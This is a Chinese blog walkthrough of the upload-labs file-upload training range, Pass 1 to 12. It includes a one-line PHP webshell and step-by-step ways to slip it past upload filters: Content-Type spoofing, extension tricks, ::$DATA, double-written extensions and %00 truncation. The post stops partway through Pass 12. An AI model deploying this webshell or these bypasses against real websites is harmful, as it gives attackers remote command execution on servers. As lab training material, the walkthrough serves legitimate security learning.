upload 靶场练习

Pass 1 js前端绕过

当数据包在发往后台(后端)的时候,bp才能抓到包,如果bp抓不到,说明数据包没有经过客户端发往后端,就被阻拦下来了。

创建一个php文件,里面包含一句话木马:<?php @system($_GET['a']); ?>

(GET括号里面的a为蚁剑连接密码)

将文件后缀修改成能上传的文件,开启抓包,点击上传

将1.jpg改成1.php(因为已经上传成功了,绕过了前端的验证)

改完后直接放包回去,图片就会上传成功了

打开图像之后复制网址,打开蚁剑

添加数据后双击,即可进入到服务器目录

Pass 2 content-type 绕过

首先,放php文件,上传失败

接着,放一个png/jpg文件,上传成功。

刷新,再放一次png文件,抓包,我们试着删掉content-type,看看照片上传成功的原因和它有没有关系

删掉之后,放包,文件就会上传失败

因此,文件的上传与content-type有关系

再上传php文件,抓包,将之前抓包的png文件的Content-Type替换掉php文件的,放包

上传成功

接下来的操作参考Pass 1即可

Pass 3 php3绕过或php5绕过(步骤较繁琐)

上传一个php,结果如图

不允许上传的后缀文件我们称之为黑名单

看一下源码

可以看出,源码中对加点、大写绕过、DATA绕过、加空格绕过这几种方法都有了防范

网上查到可以把后缀改成php3或者php5,我尝试了一下,虽然文件上传成功了,但始终无法在蚁剑测试连接成功

最后,我查到了原因。

还是直接说操作流程吧。

首先,下一个phpstudy2016,配置好站点域名并将upload文件下载到www路径

切换版本为5.4.45+apache(不要有-nts,这是一个线程问题)

之后其他选项菜单--- 打开配置文件 --- hppd-conf

打开文件之后,编辑--查找,输入addtype向下搜索,找到和403行一样的就行

将403行改成下面这样

AddType application/x-httpd-php .php .php3 .php5 .phtml

AddType application,增加类型的应用解释,.php3 .php5 .phtml等都看作php文件

保存之后重启phpstudy功能,进入靶场

之后的流程和前面一样,上传php文件,抓包改后缀,打开图像,用蚁剑添加数据。。。

Pass 4 

上传含有一句话木马文件1.php修改过的1.jpg,抓包,将后缀改成1.php. .(php+点+空格+点)

放包,文件上传成功,之后就是打开图像,用蚁剑连接即可。

Pass 5

可以用和Pass 4一样的方法

Pass 6 大写绕过

源码缺少了下面的代码

$file_ext = strtolower($file_ext); //转换为小写

Pass 7 空格绕过

抓包后缀加空格就好了,原理就是,原码没有防范这个方法(首尾去空)

Pass 8  后缀加点绕过

源码相比之前缺少了下面的代码

$file_name = deldot($file_name);//删除文件名末尾的点

既然它不删除文件名末尾的点,那我们就在文件后缀加点即可。

上传一句话木马php文件,抓包,后缀加一个点,文件上传成功。

至于蚁剑上的后缀要不要去点,一般系统会自动帮你去掉,如果不行就手动去点吧。

Pass 9  $Data绕过

这一关,没有对DATA处理,上传php文件抓包,后缀加上::DATA

放包让文件上传,打开图像复制网址,用蚁剑连接服务器,删掉增加的后缀就可连接成功

Pass 10 点空格点绕过

黑名单

参考Pass 9,上传php文件抓包后缀加:点空格点(. .)

其他操作流程一样

Pass 11  双写后缀绕过

查看源码,黑名单老样子

函数解析

$file_name = str_ireplace($deny_ext,"", $file_name);

该函数为替换函数

作用是将 上传的文件$file_name中含有黑名单文件的部分$deny_ext替换成空字符

我们试着上传一个php文件,成功后打开图像

就会发现后缀php变成的空

因为这个函数只执行一次,所以我们使用双写绕过方式通关

上传文件抓包后缀改成pphphp

(因为函数是从左到右执行,p php ph,删掉第一个遇到的php后,不会再回头看p,只会往后,后面只有hp,所以最后就会剩下php)

Pass 12 %00截断

知识点

0x00和%00都表示空,一个在编程语言中,一个在url编码中

url编码是将Ascll转化为16进制,再加%

例如,在百度上搜索 你好吗+空格空格空格

我们会发现后面有三个%20,这个就是url编码

在ascll中,空格就是数字32,转换为16进制就是20

那么%00对照ASCLL表就是空字符

我们在百度链接你好后面加上%00,回车发现搜索框里就会变成了你好

我们已经清楚的知道了%00的来源和作用

开始通关

查看源码 

 $ext_arr = array('jpg','png','gif');

只给上传三种文件(白名单) 

上传一个jpg文件,抓包,在upload/后面加上111.php%00(将文件的后缀改成php)

  • 10
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值